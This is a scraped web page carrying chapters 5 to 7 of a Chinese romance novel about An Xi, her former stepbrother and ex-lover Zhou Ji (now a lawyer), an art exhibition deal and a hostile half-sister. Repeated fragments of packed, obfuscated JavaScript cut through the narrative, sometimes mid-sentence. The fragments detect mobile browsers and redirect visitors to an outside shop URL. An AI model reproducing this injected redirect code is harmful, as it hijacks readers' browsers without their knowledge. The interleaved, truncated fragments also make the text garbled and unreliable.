l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351428|199611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又看了部电影,结束时恰是凌晨一点半。 共情引起的波动,让大脑仍处在兴奋状态,短时间里很难入睡。安禧索性翻身下床,来到了房间露台。 夜晚的空气里,凝着春日特有的潮气,四下里安静,唯有草丛里传来时不时的虫鸣。 从她的位置俯瞰,足以把别墅前院的景致尽收眼底。 花园里留着几盏地灯,幽微的光线透上来,呈现出隔纱一样的质感。仍是在那棵蓝花楹旁,周稷孑然而立,身影的暗处,几乎要和夜色融为一体。 安禧怔了怔。 怎么会有人大半夜不睡觉,还杵在外头? 她正想定睛再细看,周稷却突然抬头,准确而毫不费力地,盯住了她的方向。 对视来得如此猝不及防。 他身上仍穿着晚饭时候的衣服,似乎并未打算上床睡觉,看向安禧的瞬间,眼神分外平静,几乎没有一丝一毫的波动。 好像早就知道她会出现。 安禧下意识攥住了手边的大理石栏杆。 俯视的角度,容易让人显得渺小。可周稷却像一棵脚下生根的树,不声不响地盘踞领土,直到再也无法忽略他。 安禧竟有些恍惚—— 这样的场景,似乎发生过不止一次。 或许是黎川美院的女生宿舍楼下,前一天晚上还说赶不过来的人,出乎意料地给她打来电话,叫她往楼下看。 风尘仆仆的一道身影,却把周围所有的景物,都衬得毫无颜色。 异地恋,从来都是辛苦的,何况还要在家长的眼皮子底下瞒天过海。但哪怕到了几年之后,在异国他乡的寒冷雪夜里,安禧也总会想起当时,胸腔里那份蓬勃跳动的雀跃。 心头骤然涌起一阵复杂的情绪,安禧忽地有些抵触,转身从露台走回了室内,又仍嫌不足似地拉上了窗帘。 直到确保再无一丝光线泄漏。 重新躺下以后,安禧还是忍不住,拿起手机,给周稷发了条微信。 【你刚才在梦游吗?】 消息发出去的下一秒,顶端便显示出“对方正在输入”,可安禧真正收到回复,却是过了好几分钟。 【不是,睡不着而已。】 简略而了然的答复,-如周稷往常的风格。 甚至没有给人留多少接话的空间。 安禧盯着屏幕半晌,毫秒之间,心念遽然转了几个来回。 【因为我回来才睡不着的?】 此条发出后,对话框里一片寂然。 无形的沉默,被网络和电子设备赋予了肉眼可见的实质,沿着屏幕,肆无忌惮地生长起来。 安禧知道,周稷的教养很好,一般做不出放着消息不理会的事。 她也实在好奇,如果揭开这副沉着冷静的面具,将会看见什么模样的他。 安禧少有如此耐心等待的时候。 她并不出言催促,手中却像握着百万分的笃定,知道自己的等待不会落空。 事实也的确如此。 十分钟后,周稷的回复姗姗来迟。 【时间不早了,快去睡吧。】 【榛榛。】 最后两个字,单独成了一句,分外惹眼。 像恰到好处的温柔,也像一道令行禁止的界限,直直刺进安禧的眸中。 她没再回应,关掉手机,把自己蒙进了被子里。 5. 05 不熟 翌日起床后,安禧洗漱完毕,下楼吃早餐。 安雨萍和周稷都不在,保姆冬姨告诉安禧,他们两人已经早起上班去了。 “我妈最近还是这么忙吗?” 安禧拿起桌上的三明治,随口问道。 冬姨点头:“董事长经常说,想趁身体还行的时候再拼一拼,将来也能多留点东西给小姐。” 冬姨大概是最了解安雨萍作息的人,安禧也深知,在安家工作的这么些年,她的确尽职尽责。只是有一点,让安禧偶尔觉得困扰,那就是冬姨对她和周稷的称谓。 ……仿佛深受了电视剧的影响。 “周稷呢?”她倒没纠正,“听说他只有周末回来,总不会在家里也忙工作吧?” 冬姨说:“少爷确实一心扑在工作上,经常加班。像昨天这样工作日就回来,也是少有的事呢。” 安禧喝了口咖啡,淡淡说道:“那还真是我的荣幸。” 冬姨怎会听不出她话中的情绪,本想开口调和,但又想到了什么,几度欲言又止后,终于还是保持了缄默。 吃完早餐,安禧骑车回了趟昨天的俱乐部。 机车需要日常养护,她更放心专业人做专业事,所以除非特殊情况,她的这辆雅马哈基本都停放在俱乐部的车库。 昨天是例外,安禧也并不打算骑它去上班,不辞辛苦地多跑一趟,除了冒一点上班迟到的风险,倒也别无影响。 驶进车库,停稳熄火。 安禧才摘了头盔,忽听见库门外响起一道熟悉的声线:“这么早就过来了?待会儿要不要一起吃个brunch?” 安禧头也懒得抬:“没空,我要去上班。” 她说着就要往外走,岂料来人单手一撑,径直挡住了她的去路。 “晚上请你吃饭。”凌隽的语气不容置疑,“看电影也行。” 安禧生生刹住了脚步,无奈地说:“让开,我上班要迟到了。” 凌隽嗤笑一声,但到底还是松开了撑着墙面的手,让了条路。 “你家又不缺钱,非去别人手底下打工,那么喜欢受气啊?” 他追在安禧身后,边走边说。 安禧回头,不咸不淡的瞟了他一眼,“我也想问问你,一天到晚闲着没事做,不会无聊吗?” 凌隽是这家俱乐部名义上的老板,唯一的工作内容,大概就是偶尔在员工面前露个脸,其余生意上的事,都由另外几位经理负责,他本人的主业,仍是吃喝玩乐。 不过此人也的确有混日子的资本。 凌家父母经营着黎川市规模最大的地产公司,这些年攒下的家底,足够凌隽挥霍好几辈子。 “当然不无聊啊,”凌隽回答得理直气壮,“上班才无聊吧,我在我家公司实习三天就受不了了,哪比得上现在。” 话不投机,安禧不想理会,继续往大门口的停车位走。 沿路遇到了几个俱乐部的员工,还有常来练车的车友。见到安禧和凌隽,他们不约而同地露出一种意味深长的微笑,彼此相视,似是心照不宣。 ——凌隽喜欢安禧。 这不是秘密,他表白了十来次,安禧也拒绝了十来次。 但凌隽似乎并不介意。 他对安禧一见钟情,虽说追求半年仍未果,可也没见她身边出现过别的男人。 日久才能见人心,不就是持久战嘛,他深怀自信,也有的是时间。 安禧的帕拉梅拉停在俱乐部门口的车位里,张扬的颜色,十分惹眼。 凌隽殷勤地送她上车,不知怎么,回想起安禧刚才的那个问题,突然福至心灵:“安禧,你不会喜欢那种事业有成的男人吧?要真是这样,我明天就回去上班。” 晨曦迎着驾驶座的方向照射过来,灿烂得令人睁不开眼。安禧戴上墨镜,表情相当无语:“……你能不能别这么幼稚。” 说完,她没给对方留下任何反应时间,一脚踩下油门,绝尘而去。 * 云和美术馆展览部近来的工作节奏,愈加紧张忙碌。 安禧提交的展览策划案,得到了佟莉的首肯,后续的一切推进工作,都已迫切地提上了日程。好在下个月即将举办一场文化交流会,由董倩凡和其他两个同事负责,意外给安禧赢得了更多的时间。 午餐时间,董倩凡和安禧坐在美术馆的餐厅里,边吃边聊。 “你联系的画家,原来是柏宣年?”董倩凡问。 安禧点头承认。 董倩凡感叹:“他可是出了名的难沟通,前段时间还在和出版社打官司。你也太有勇气了,专门挑硬骨头啃。” 安禧笑着说:“我本科的一位教授正好和他认识,知道我想联系他,就帮忙牵了线。也幸亏他胜诉,最近心情还不错,说愿意考虑考虑,否则,我恐怕就没法和莉姐交待了。” 柏宣年和某出版公司的版权纠纷案才结束没多久,对于上门洽谈的合作,难免抱着一种近乎吹毛求疵的严厉态度。安禧尽力斡旋协调,加上教授做说客,才勉强打动他一二,答应看一眼云和的策划。 不过安禧想争取的,并不只是他以往对外展出的名作。 在柏宣年的作品中,有一组名为“长夏”的系列,以画家本人童年时期生活的村庄为主题,涵盖八幅作品,创作时间横跨了将近十年。 在此系列里,只有一幅画曾在某场公益讲座上公开过真容,据说会后即有人出价千万意欲购入,却被柏宣年以作品意义特殊为由拒绝。其余七幅作品,更是从未对外展出。 如果能争取到该系列问世以来的首展,对于安禧,以至于云和美术馆,都将有可想而知的收获。 或许是感受到了安禧展现的诚意,柏宣年主动提出,要请她吃饭,顺便聊一聊关于展览的想法。 时间与地点,都是柏宣年定的,安禧秉持着守时的准则,提前了十分钟到达餐厅,然而走进包间时才发现,对方竟然到得比她更早。 “柏老师您好。”安禧微笑着和他握了握手,“真不好意思,让您久等了。” 柏宣年和气地说:“没关系,我住这附近,散着步就过来了,也才刚到。” 他瘦长个子,四十多岁的年纪,头发却已经白了不少,穿一身亚麻质地的宽衣宽裤,气质十分特别。 “提前点了菜,不介意吧?”柏宣年问,“我们都是黎川人,口味应该相差不会太大。” 安禧笑称自己随意。 作为当今黎川艺术圈里的知名人物,外界对柏宣年的褒贬不尽相同。赞他才华卓然的声量诚如潮水,但关于其为人脾性的批评,也从来不绝于耳。 不过,就安禧这几次与他打交道的经验来看,传言似乎确有过甚之处。 几句客气的寒暄过后,主菜陆续开始上桌,谈话也终于切入了正题。 “柏老师,展览策划案的电子版,昨晚已经发您邮箱了,”安禧诚恳道,“我们很希望与您达成合作共赢的结果,不知道您考虑得如何?” 柏宣年略一沉吟。 “我从头到尾看过了。说实话,和我当初创作时的心境思路,还真有好些不谋而合的地方。” 他看向安禧的眼神颇为欣赏,“我最怕碰见那种自以为高深的策展人,做出来一堆云里雾里的东西,既不叫好也不叫座,纯粹把我们当业绩指标了。” 出乎意料的夸赞,安禧心中瞬间有了实底。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351429|199611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “柏老师过奖了。”她自谦,“我在大学的时候就看过您作品的展览,当时也没想过,能有和您面对面交流策展的机会。” 柏宣年的态度,比安禧预想的要随和得多。 她原本以为,今天大概只能稍微松动对方的口风,却没想到,融洽的氛围烘托之下,柏宣年竟然表示,愿意试着与云和美术馆开展合作。 只是在谈及借出“长夏”系列作品时,他不出意料地迟疑了。 “……这几幅,我从没想过借出。” 柏宣年眉心蹙起淡淡的纹路,意见似乎倾向于保守。 “再说吧。我回去想想。” 安禧明白点到即止的道理,且今日收获已然高于预期,便识趣地附和:“理解您的想法。不着急,您慢慢考虑。” 话题于是被扯开。 没过一会儿,柏宣年讲起了他刚结束的那场官司。 “其实也是我的疏忽,之前和那家出版社合作过好几次,都没出什么问题,一时大意了,没有认真留意合同的细节,才导致出现那么大的麻烦。” 他感慨地长叹,“要不是律师替我力挽狂澜,我现在恐怕也没心情坐在这里了。” 安禧顺着他的意思开玩笑:“哦,是哪家律所?我也得感谢他们为您排忧解难,才有幸等到这次的合作呢。” “衡泰。他们做知识产权的案子很有经验,确实担得起盛名。” 安禧一怔。 ……衡泰? 柏宣年没看出她的异样,接着说道:“负责我这件案子的律师,也是个青年才俊,年龄不大,处理起问题来,倒有种出乎意料的老成。名字好像叫做——” “周稷。” 别人念出口的姓名,此刻竟然多了几分陌生。恍惚之间,安禧以为自己听错。 仿佛为了应和柏宣年的话似的,话音刚落,他的手机铃声骤然作响。 安禧回过神,看着他接起。 “周律师,是我。有事吗?” 柏宣年对着听筒爽朗道,浑然不觉身边安禧骤变的脸色。 “……是嘛,这么巧?行,不麻烦的话,你过来吧,我就在二楼的包间。” 挂断电话,他转朝安禧笑:“说曹操曹操到。周律师找我有事,人又恰好在附近,我就让他过来了。” 许是担心被误会成逐客令,柏宣年不失幽默地补了句:“你刚才不是说,要感谢他为我排忧解难吗?现在正好,可以当面表示一下。” 安禧欲言又止。 巧合来得意外,她一时没想好,该不该向柏宣年坦白自己和周稷的关系。 犹豫不定的念头,把时间流速翻了倍。仿佛只是眨了几下眼的功夫,包间门就被推开,身着西装的周稷,稳步走了进来。 他显然处在工作状态里,目光专注,神情肃然,视线从安禧身上擦过,却叫她分辨不出,他究竟有没有看到她。 “介绍一下,这位是衡泰的周律师,周稷。”柏宣年自觉充当起中间人,笑吟吟说道,“这位,是云和美术馆的安禧,今天专程来和我商量展览的事。” 周稷的瞳孔漆黑,朝人看来时,隐含着格外冷冽的锋芒,像某种不由分说的审视。 有那么个瞬间,安禧以为自己被他当成了犯罪嫌疑人。 理智与情感,说不上是哪一方占据了上风,抢在周稷开口说话前,安禧率先伸手,笑容得宜地向他打招呼:“你好,周律师。” 意思显然得不能更显然。 ——装不认识。 周稷的表情未见波澜。 他同样伸出手,遵循着社交场合的礼节,和安禧轻轻一握。 “你好……安小姐。” 6. 06 可惜 周稷的掌心宽厚,带着和他本人外表截然不同的暖热温度,裹住了安禧的手。 她下意识蜷缩了一下手指。 明明是避退的姿态,却因两人尚未松手的缘故,平添了几丝欲擒故纵的意味。 “别站着了,都坐。” 柏宣年笑着,顺手帮忙拉开一张椅子。 “周律师还没吃饭吧?这样,我叫他们再添几道菜,反正都是请客。” 趁他说话的功夫,安禧不着痕迹地松开了手。 周稷低头瞥了眼空落落的掌心,片刻就挪开视线,云淡风轻地落座,一边对柏宣年说:“真不好意思,劳您破费了。” 服务生重新被叫回来,为周稷递上菜单。他低头翻阅的时候,安禧没再说话,房间里有那么几秒短暂的冷场。 “安小姐还有什么想加的吗?” 柏宣年在一旁问她。 “刚才没顾得上你的偏好。” 安禧给自己倒了杯茶,说:“我喜欢吃一点辣,就怕柏老师不习惯。” 柏宣年笑道:“那我还真吃不来。不过周稷倒是可以,你们商量着看吧。主随客便。” 听见此话,安禧不禁诧异地抬眼,看向了坐在几米之外的周稷。 ——他什么时候变的口味? 疑问盘桓在心头,碍于在柏宣年面前立下的陌生人设,安禧到底没有问出口。 她切换回闲适的笑容,对着周稷说:“我都行,听周律师的意见。” 周稷这才抬头望过来。 “我一般不替人拿主意,”他说,“那样容易承担连带责任。” 或许是职业使然,周稷说话的语速偏快,字字带着不容置疑的意味,和过往相较,明显添了成熟气度。 安禧竟生出一种荒诞的错觉,仿佛这里已不是餐桌,而是以中间的柏宣年为界线的原告被告席,只待他们唇枪舌剑,必要争个对错。 “周律师多虑了。”她双手抱着胳膊,靠在椅背上,“我不是那种小心眼的人。” 周稷唇边弧度淡淡,像是认可,又像表示轻微的异议。 安禧选择了视而不见。 “你是从律所过来的吗?”柏宣年顺手帮周稷倒了杯茶,“我看也差不多是下班的时间点了。” 周稷如实说道:“刚见了别的客户,想起来您好像就住这附近,所以才给您打的电话。” 他神色自若地看了眼安禧,“不知道您约了人谈事情,不会打扰吧?” 柏宣年自然否认。 安禧随口玩笑:“和律师见面,一般都是要付费的。今天沾柏老师的光,终于不用担心价格问题了。” 周稷的目光顿了顿。 “是吗?” 普通的反问句,被他说得如同质询,平静的语气里,安禧却听出几丝千回百转的深意—— 她的玩笑言过其实。 至少在周稷这里,她可从没付过他半毛钱。 柏宣年没听出弦外之音,笑说安禧幽默。随后又问周稷,一会儿是否有空,可以去他家中详谈。 周稷却说:“今晚要回办公室加班,可能得明天才有时间。” 律师加班多,本也不是什么新鲜事,柏宣年表示理解。 但不知怎么,安禧想起了先前在任皓哲在酒吧里说评价周稷的那句“工作狂”。 “周律师工作这么忙,恐怕平时没什么时间陪女朋友吧?” 安禧笑吟吟地问。 “她不会有意见吗?” 话音才落,安禧清清楚楚地看见周稷蹙起了眉。 他以一种极为复杂的眼神望过来,下颌线渐渐绷紧,停顿良久才说:“……我没有女朋友。” 声线有点冷。 安禧点点头,状若无意道:“可惜了。” 她没解释究竟有何可惜,仿佛只是随口一句聊胜于无的慨叹。周稷却像听出了某种信号,漠然地接过话:“没什么可惜的。” 安禧提唇一哂。 的确。 真正值得惋惜的,从来不是当下。 而是过去。 * 整场饭局下来,气氛总体还算和谐。 周稷此行,本就是要和柏宣年商议出版社败诉后的赔偿事宜,恰好安禧在场,柏宣年便又把案子的来龙去脉和她详细复述了一遍,并对周稷赞不绝口。 “开庭的时候,看到对方提交的所谓‘证据’,我差点被气晕了。还好周律师冷静,一条一条地反驳回去,完全掌控了主动权。” 安禧听得面不改色。 从学生时代起,周稷就是校园里天之骄子一般的人物,她早就听习惯了别人对他的交口称赞。 她倒不在乎周稷的光芒有多盛,又会不会盖过她的,只是看到他那副永远沉静如水的表情时,偶尔也难免产生一丝怀疑:这人到底是真淡泊,还是假清高? 吃完饭出来,两人和柏宣年道别。 他们都是开车来的,自然而然有段通行去停车场的路。等沉默着走到了地方,安禧才发现,周稷的车,竟和她挨着停在了一起。 汽车解锁的声音,终于打破沉寂的空气。 “……胃不会不舒服吗?” 安禧看着他侧脸的线条,淡声问道。 “还好。”周稷说,“已经习惯了。” 在遇到周稷之前,安禧并不知道,原来有人会因为吃辣而胃疼。 这个发现,源自她高一那年,安雨萍和周睿诚双双不在家的某个周末。 当时,安雨萍担心两个孩子在家吃不上饭,专门点了两份外卖送到家。可安禧却不小心错拿了周稷那份,并毫无察觉地吃了个精光,直到周稷面色苍白地走出房间,去药柜里翻找胃药。 那次的乌龙,最后以安禧陪着周稷去医院挂急诊而告终。当她疑惑地问起周稷,既然明知自己身体情况,为什么还硬要把那份原本属于她的加辣米线吃完时,却得到了一个让她大为意外答案。 “因为那是安阿姨点的。” 周稷左手挂点滴,右手仍能握笔做题,同时回答安禧的疑问。 “同样不喜欢的东西,如果是我爸买的,直接不要就是了。但如果换做别人,尤其是安阿姨——” “我的举动,可能会被误会成另外一种意思。” 这句话,在安禧的脑海里回响了很久。 直到后来,多年以后,她几度回溯年少的记忆,才恍然发觉:似乎是从那之后,她和周稷,才开始有了真正意义上的交集。 或者说,是纠葛。 “别的我管不着,但是既然谎已经撒出去,就不可以露馅。” 安禧径直走到车边,拉开驾驶座的门,一边回头叮嘱周稷。 “如果让柏宣年知道我们的真实关系,恐怕他会觉得自己上当受骗,进而影响我们的合作。我不希望看到那种局面。” 周稷站在原地没动,视线不加修饰地朝她合拢。 “你说的‘真实关系’,是指哪一种?” 安禧猛地一怔。 她有些难以置信,这话是从周稷嘴里问出来的,愕然停滞了好几秒。 随后就想冷笑—— 不愧是律师,真够严谨。 “你心里清楚,何必来问我。” 她压着羽睫,飞扬艳丽的眉眼之间,只剩下与平时截然相反的冷淡疏离,“有时候,话说得太开,就没意思了,周律师。” 周稷喉结动了动。 他知道她在生气。 喜怒鲜明,本就是她的可爱之处,何况在他面前,她向来没有隐忍不发的习惯。 “知道了。”周稷似乎恢复了冷静,“我会瞒住的。” 他说话时不带多余表情,仿佛在做当庭陈述,克制,且游刃有余,毫无道理地使人相信,他确实能做得滴水不漏。 安禧觉得,自己被他衬托得像个初出茅庐的傻瓜。 她不喜欢这种感觉。 “……知道就好。” 没有多余的道别,他们的汽车前后从停车场开出,驶向了不同的方向。 * 经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351430|199611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过安禧坚持不懈的周旋,柏宣年终于松了口,答应借出“长夏”系列中的三幅作品,以本次展览为契机,首次对外公开。 佟莉对这个结果很满意,对于安禧交上来的提高预算的申请,也爽快地批复了同意。 各项准备工作,终于开始平稳推进。 展墙的搭建和制作,需要联系专门的广告公司。安禧联系了几家,线上提供的图片范例却并不理想,倒是董倩凡向她推荐了另一家,说是可以用新型材料定制,不过需要她到现场沟通。 安禧欣然应允。 好在对方确实专业,展示的样品和安禧想要的效果几乎别无二致,且表示可以进一步修改完善。报价虽然略高于预期,但细细算下来,也还在可控范围之内。 此趟没有白跑,回程路上,安禧的心情不错,打开喜欢的歌单,从头开始循环。 可还没完整放完一首歌,电话突然响了。 是串陌生的号码。 安禧犹豫一瞬,随手滑开了接听。 “喂?” “……榛榛?” 一道中年男声,透过车载音响,清晰地在车里传开,“我……我听说你回黎川了。什么时候有空,来家里吃顿饭?” 听清声音的刹那,安禧额角的青筋遽然跳了两下。 她深吸一口气,打转向灯靠边停车。 “魏智文,谁告诉你我回国的?”安禧的态度几乎降至冰点,“知道我不会接你的电话,专门换了号码来骚扰,你可真行。” 魏智文讨好地笑:“榛榛,爸爸只是关心你。” “我不需要你的关心。也请你记住了,不管怎么样,我和我妈都不会借钱给你,死了那条心吧。” 电话里明显静了几秒。 “我不是……” “还有,”安禧毫不留情地打断他的话,“如果再让我发现你骚扰我妈,别怪我报警。” 说完,她直接挂了电话,顺便把这个号码拉进了黑名单。 被这通来电中止的音乐,重新接续上了间奏,可安禧却再没有心情去欣赏。她靠在柔软的驾驶座里,怔怔盯着已经黑屏的手机,努力平复心绪。 刚才打来电话的男人,叫做魏智文,是安禧的亲生父亲。 在安禧的记忆里,母亲安雨萍和他的关系很糟糕。他瞧不起安雨萍的学历和工作,且一直疑心她有婚外情,尽管真正出轨的,是他本人。 安禧三岁那年,安雨萍决意离婚。 虽然在此之前,无休止的争吵谩骂,早已成为家中的常态,但真正爆发的导火索,是她发现丈夫在外面有了另一个孩子。 离婚后,安雨萍独自带着安禧,一边经营着服装市场里的生意,乘上了时代发展的春风,蒸蒸日上发展到了今天;反观魏智文,再婚以后,他大半的心思都沉迷进了股市,以至于瞒着家人高额借贷,亏空到了血本无归的地步。 走投无路之下,他竟也开始厚着脸皮向前妻借钱,甚至找上了安禧。 好心情算是彻底被搅乱,安禧烦躁不已,索性就近去停车场停了车,独自下来散步。 商业中心的景致,其实也没什么看头,无非是鳞次栉比的高楼大厦,还有夺人眼球的巨幅奢侈品牌广告。 安禧百无聊赖地街头漫步了一会儿,随机走进了路边的一家咖啡店。 工作日的上午,店里人不太多,安禧点了杯热摩卡,坐在窗边位置,一边思索着该如何彻底断绝魏智文再来骚扰的可能。 “你喝什么?我今天喝不了冰美,要不要一起点摩卡?” “不要。我最讨厌摩卡。还是拿铁吧。” 耳边传来年轻女孩点单时的闲聊,安禧分了些余光过去,原来是两个穿职业装的女生,看上去是附近的上班族,偷闲出来买咖啡。 点完单,其中一人转身,正面迎上了安禧的视线。 她一愣。 才平复不久的心绪,再度掀起了波澜—— 今天到底是什么好日子? 居然让她接连碰见两个姓魏的。 7. 07 宣誓 看见安禧的瞬间,魏若昀变了脸色。 “若昀,怎么了?” 同事见她异样,关切地问。 魏若昀下意识攥住了衬衫袖口。 “……没什么。”她勉强保持镇静,“我突然想起来还有点东西要买。等下拿了咖啡,你先回去吧。” 同事点头说好。 热拿铁的醇厚香气,被压缩在密闭的外带杯里,随着杯子主人用力的放置动作,把桌子也震得晃了晃。 摩卡的奶油顶塌下去一块,安禧愠怒地抬眼,直视着来人。 “听说你回国了。” 魏若昀毫不见外地在安禧对面的位置坐下,脸上挂着嘲讽,“怎么,终于在美国待不下去,只能灰溜溜地打道回府了吗?” 这话够难听,安禧气极反笑,扬起语气道:“在哪里工作,是我的自由,还轮不到你来评价。” 魏若昀却自觉占据上风:“这种时候了还嘴硬,你也真是可怜。” 安禧嗤笑:“照你的意思,黎川是我的退路,因为失败才回来;可你呢?兜兜转转了半天,不过是在你瞧不起的、我的退路上打转。到底谁更可怜一点?” 魏若昀没料到被反将一军,顿时咬紧了下唇,竟半晌没找出反驳的话。 “对了,你最好管好你爸。开口找我和我妈借钱,亏他好意思,如果再有下次,别怪我不客气。” 薄西装外套的下摆被攥得发皱,像是心中拧作一团的的不甘。冲动驱使下,魏若昀口不择言:“是啊,毕竟能从批发市场的档口小妹做到公司老总,一路曲意奉承过来,安阿姨应该知道赚钱有多不容易。” 安禧霍然站起来。 “再给我说一遍试试。”她的脸色阴沉得吓人,“真以为我不敢在这里动手吗?” 线条精致的一张脸,温度彻底冷却下来,只剩下刀刃一般的锋芒。魏若昀被震慑了几秒,居然真的短暂收敛了气焰。 但她还是不甘。 再没有什么事,是比看着曾经落魄的嘲讽对象实现后来居上,更令人难受的了。 魏智文和安雨萍离婚后,火速和第二任妻子再婚。同年,魏若昀出生。 但似乎就是那不久之后,情况开始急转直下,先是股市危机,魏智文投进去的资产近乎蒸发,紧接着就是企业裁员,魏若昀的母亲丢了工作。 魏智文虽然侥幸逃过,但被公司人事调整了岗位,每月薪水降了三分之一,除此以外,他还要偿还之前借来用于炒股的钱。 而反观安雨萍,运气简直好到反常,从个体户发展成公司,一跃成为黎川服装行业炙手可热的企业家,命运似乎专门为她开了绿灯。 还有安禧。 美国留学,在公认生活成本高昂的纽约。 魏若昀承认,她发自内心地嫉妒。即便她发奋努力,读完了黎川大学法学的本硕,又进了所有人眼里前途无限的知名律所。 ——可她仍然怨忿上天的不公。 气氛僵持不下,连其他桌的顾客都隐隐察觉了这边的异样,偷偷朝两人的方向打量。 就在此时,同事的电话,打进了魏若昀的手机。 “若昀,你还没回来吗?”同事的口气有些着急,“周律师叫我们开会,你快点。” 工作上的事,魏若昀不敢怠慢,匆匆应道:“好,我马上回。” 不欢而散,自然也不需要告别的话语。安禧冷若冰霜地看着她转身离开,心中只觉得无比荒唐。 整天的心情彻底被搅乱,晚上八点多,安禧约了詹靖元一起吃烤肉,顺便吐槽自己今日的无妄之灾。 “你说是不是特别可笑?我有时候真的怀疑,他们可能认为之所以会走到今天这个地步,是我和我妈造成的。” 詹靖元摇头直叹:“有些人往往会把别人得到的,认作是自己失去的。看开点吧,庆幸你妈妈离婚早,也算是先见之明了。” 炭火把五花肉烘烤出一层晶亮的油光,是足够引人食指大动的上佳卖相。安禧却无心品鉴,反而越想越窝火:“我真不该那么轻易放她走!又不是吵不过她。” 詹靖元把烤熟的肉夹进她的盘中,“她好像小你三岁?应该出来上班了。如果真是这种脾气和心眼,自然有人收拾,不用担心。” 社会法则的残酷和严苛,不会任由不知天高地厚的人肆意横行。这一点,步入职场的安禧和詹靖元都深有体会。 “……但愿吧。”安禧有一下没一下地戳着盘子里快要放冷的烤肉,“反正我是受不了她。” 工作日的晚上,店里生意却热闹非常,各桌的烤肉香气四溢,均匀地洒落在每一个角落。 詹靖元的手机进来了消息。 “靠……”她低低怒骂一声,“客户一会儿要开线上会,我吃完还得回去加班。” 安禧流露出同情的眼神:“你还说今天准点下班来着。” 詹靖元瘫软在座位上,咀嚼都没了力气:“没办法,为了钱,我已经出卖灵魂了。你知道吗,我们公司楼下两层是律所,有时候我加完班,在电梯里碰到眼熟的人,那种牛马之间的相视苦笑,简直太痛了。” 听见“律所”两个字,安禧的神情微微一怔。 詹靖元说完也反应过来了,不过看着安禧还算平静的表现,又觉得大概无妨,索性顺着往下讲:“周稷也是。听说去年六七月的时候,他工作强度大到进了医院。我和任皓哲去医院探望,结果他在病房里抱着电脑加班,我都不知道该说什么。” 安禧恍了恍神。 彼时她还在美国,自然是不知情的。 因为没有人向她提起。 “诶,上次在酒吧见完面,回去之后,周稷是什么反应?” 安禧淡淡:“就那样吧。” 詹靖元深表怀疑:“不可能啊。” “怎么不可能?”安禧低头喝水,“我又不是他的谁。” 詹靖元迟疑了一会儿,终于犹犹豫豫地开口:“有件事……我一直没告诉你。你别生气啊。” 安禧掀起眼皮瞄她一眼,难得看出了几分心虚样子。 “说吧,我不生气。” “就是……半年前,你刚回国的时候,周稷突然联系我,问我知不知道你已经回黎川了。” “我当时还奇怪,他明明可以直接问你,为什么舍近求远来找我。但你和我千叮咛万嘱咐过,绝不要走漏风声,所以我只和他说不知道。” 詹靖元一口气说完,心中大石头仿佛落了地。毕竟安禧和周稷的事情,她是为数不多的知情人之一,被迫憋着秘密的感觉,实在不好受。 她觑着安禧的面色。 ——还真奇了,她居然沉得住气。 “可能是我妈和他说的吧。” 安禧翻动烤盘上的雪花牛肉,语气如常,“我回国的事,也就你们两个知道。” 詹靖元诧异:“安阿姨怎么可能主动告诉他?” 安禧的眼神,凝固在空气中的某一处。 不可能吗? 世界上没有什么是不可能的。 直到失控之前,她也曾以为,自己和周稷,只会停留在重组家庭的兄妹位置上,不可能有任何其他选项。 “都过这么久了,我,我妈,还有他,应该早就忘了当年那点事。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351431|199611||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 安禧扯起一缕微笑。 詹靖元质疑:“真的?” 安禧侧头瞥向了窗外,好像在回顾一场遥远的梦境,和浓稠的黑夜混在一起,轻易黏住她的呼吸。 良久,詹靖元才听见她极轻地“嗯”了一声。 * 回家路上,安禧开车经过学校附近。 高中生的晚自习才结束,背着书包三三两两从校门口出来,脸上挂着从题海暂时解脱的轻松,偶尔高声笑语,自然而然地吸引了安禧的注意力。 青春,多好的时光,纯粹而无忌。 她和周稷的相遇,也是在这样的年岁里。 回想初见的第一眼,安禧承认,她对周稷的印象很不赖。原因也简单,他长了一张俊气到过分的脸。 可惜,帅脸底下藏着一座冰山,安禧的几次主动示好均遭冷遇。对方像个没有情绪的机器人,偏偏安雨萍还觉得这是懂事稳重,让她多和周稷学学。 安禧并非没有脾气,母亲的话更是令她愤怒。 她开始以其人之道还治其人之身,把周稷当做一团空气,哪怕在学校里碰见,也只装不认识,面不改色地和他擦肩而过。 两人的关系,就这样降到了冰点。 这种僵持,一直持续到了高一结束的那个暑假,周稷出乎意料地选择了文科,和安禧变成了一墙之隔的隔壁班。 